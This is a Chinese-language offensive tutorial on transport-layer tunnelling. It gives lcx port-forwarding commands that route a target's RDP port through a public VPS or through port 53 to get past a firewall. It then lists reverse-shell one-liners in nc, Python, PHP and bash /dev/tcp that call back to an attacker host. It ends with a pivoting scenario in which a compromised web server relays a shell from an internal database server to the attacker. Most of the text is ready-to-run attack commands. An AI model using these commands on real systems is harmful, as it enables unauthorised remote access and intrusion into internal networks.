前言
隧道是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包装类型或端口封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。
常用的隧道列举如下:
网络层:IPv6隧道,ICMP隧道,GRE隧道。
传输层:TCP隧道,UDP隧道,常规端口转发。
应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道。
本文介绍传输层隧道技术
正文
lcx端口转发
lcx是基于套接字实现的端口转发工具。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接。
内网端口转发
在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。
1 | lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389 |
在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到5555端口上
1 | lcx.exe -listen 4444 5555 |
此时,用mstsc登陆 “<公网主机的IP地址>:5555”,或者在VPS上用mstsc登陆主机127.0.0.1的5555端口,即可访问目标服务器的3389端口
本地端口映射
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过 防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口(例如53端口)。在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。
1 | lcx -tran 53 <目标主机IP地址> 3389 |
NC内网代理
NC反弹shell
反向shell
本机(192.168.1.76)监听端口9999
1 | nc -lvvp 9999 |
目标主机执行,有nc的情况下
1 | nc -e /bin/sh 192.168.1.76 9999 |
使用python反弹shell
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.76',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
使用php反弹shell
1 | php -r '$sock=fsockopen("192.168.1.76",9999);exec("/bin/bash -i <&3 >&3 2>&3");' |
使用bash反弹shell
1 | bash -i >& /dev/tcp/192.168.1.76/9999 1>&0 |
内网代理
场景如下:
攻击者(192.168.1.76),已获得权限的web服务器(外网IP:192.168.1.26 内网IP:172.168.1.16),数据库服务器位于内网中(172.168.1.20),攻击者无法直接访问数据库服务器,但是web服务器可以访问数据库服务器。三台机器均为linux系统。目标是通过获得数据库服务器的shell。
在攻击者上监听3333端口
1 | nc -lvvp 3333 |
在数据库服务器上执行如下命令
1 | nc -lvp 3333 -e /bin/sh |
在web服务器上执行如下命令
1 | nc -v 192.168.1.76 3333 -c "nc -v 172.168.1.20 3333" |